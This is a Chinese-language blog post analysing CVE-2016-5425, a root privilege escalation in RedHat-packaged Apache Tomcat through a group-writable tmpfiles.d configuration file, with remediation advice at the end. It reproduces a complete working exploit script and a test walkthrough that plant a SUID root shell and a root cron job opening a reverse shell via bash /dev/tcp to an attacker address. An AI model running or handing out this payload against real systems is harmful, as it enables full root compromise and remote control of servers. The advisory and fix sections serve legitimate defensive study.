• 基于RedHat发行的Apache Tomcat本地提权漏洞


    描述

    Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞。2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425。此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等。主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebShell可以将权限提升至root级别。

    漏洞描述

    基于RedHat发行版的Tomcat安装后,tomcat组用户对tomcat.conf文件具有写权限,如下

    [root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf 
    -rw-rw-r--. 1 root tomcat 43 May 12  2015 /usr/lib/tmpfiles.d/tomcat.conf

    tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的,攻击者可以非常容易的注入恶意payload进tomcat.conf文件,比如新建一个反弹SHELL,新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候,注入的payload也会随之得到执行。

    在REDHAT发行版,默认启动后,systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行,如下:

    [root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
    ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev

    依赖于系统使用,systemd-tmpfiles也可以通过其他服务,cronjobs,启动脚本,等方式来触发。值得说明的另外一个地方是, systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf

    根据下面的POC,我们可以看到,·被注入到tomcat.conf ,意思是反弹SHELL,并新建一个具有SUID权限的shell,具体C,z,F的含义,我们可以通过 man 5 tmpfiles.d来查看。

    C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
    z /usr/share/tomcat/rootsh 4770 root root -
    F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1

    POC

    -----------[ tomcat-RH-root.sh ]---------
      
    #!/bin/bash
    # Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
    # CVE-2016-5425
    #
    # Full advisory at:
    # http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
    #
    # Discovered and coded by:
    # Dawid Golunski
    # http://legalhackers.com
    #
    # Tested on RedHat, CentOS, OracleLinux, Fedora systems.
    #
    # For testing purposes only.
    #
      
    ATTACKER_IP=127.0.0.1
    ATTACKER_PORT=9090
      
    echo -e "
    * Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
    echo -e  "  Discovered by Dawid Golunski
    "
    echo "[+] Checking vulnerability"
    ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
    if [ $? -ne 0 ]; then
        echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
        exit 1
    fi
    echo -e "
    [+] Your system is vulnerable!"
      
    echo -e "
    [+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
    cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
    C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
    z /usr/share/tomcat/rootsh 4770 root root -
    F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & 
    
    "
    _eof_
      
    echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
    cat /usr/lib/tmpfiles.d/tomcat.conf
    echo -e "
    [+] Payload injected! Wait for your root shell...
    "
    echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 
    the rootshell will be created in /usr/share/tomcat/rootsh. 
    Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT 
    "
     --------------[ eof ]--------------------

    本地测试:

    1.先确定下本地LINUX发行版本和TOMCAT版本。

    1.png

    2.切换到tomcat组权限下,附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中

    2.png

    cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
    F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & 
    
    "
    _eof_

    3.root权限下手动触发/usr/bin/systemd-tmpfiles –create [这步比较鸡肋,依赖系统有其他服务,cronjobs,启动脚本来触发,如果系统有,则好,如果没有,这个漏洞相对利用来说,需要触发systemd-tmpfiles,有点鸡肋]

    [root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create
    

    4.获取反弹ROOT权限的SHELL

    漏洞影响

    攻击者可以在具有tomcat权限时,通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞,也可以实现远程利用。

    影响的版本

    CentOS

    Fedora

    Oracle Linux

    RedHat

    Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425

    解决办法

    临时修复建议

    可以调整/usr/lib/tmpfiles.d/tomcat.conf权限,移除tomcat组的写权限。

    chmod 644  /usr/lib/tmpfiles.d/tomcat.conf
    

    更新最新Tomcat包

    Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。

    参考

    http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html

    http://legalhackers.com/exploits/tomcat-RH-root.sh

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425

    https://access.redhat.com/security/cve/CVE-2016-5425

    http://bobao.360.cn/learning/detail/3090.html

  • 相关阅读:
    [译]HTML&CSS Lesson5: 定位
    Emscripten教程之入门指导
    html简单响应式滚动条置顶
    移动web开发问题和优化小结
    React+Webpack+ES6 兼容低版本浏览器(IE9)解决方案
    ECMAScript中有两种属性:数据属性和访问器属性。
    css写作建议和性能优化小结
    validator API文档
    HBase概念学习(九)HTablePool为何弃用?
    leetcode -day 15 Distinct Subsequences
  • 原文地址:https://www.cnblogs.com/Fluorescence-tjy/p/5960653.html
Copyright © 2020-2023  润新知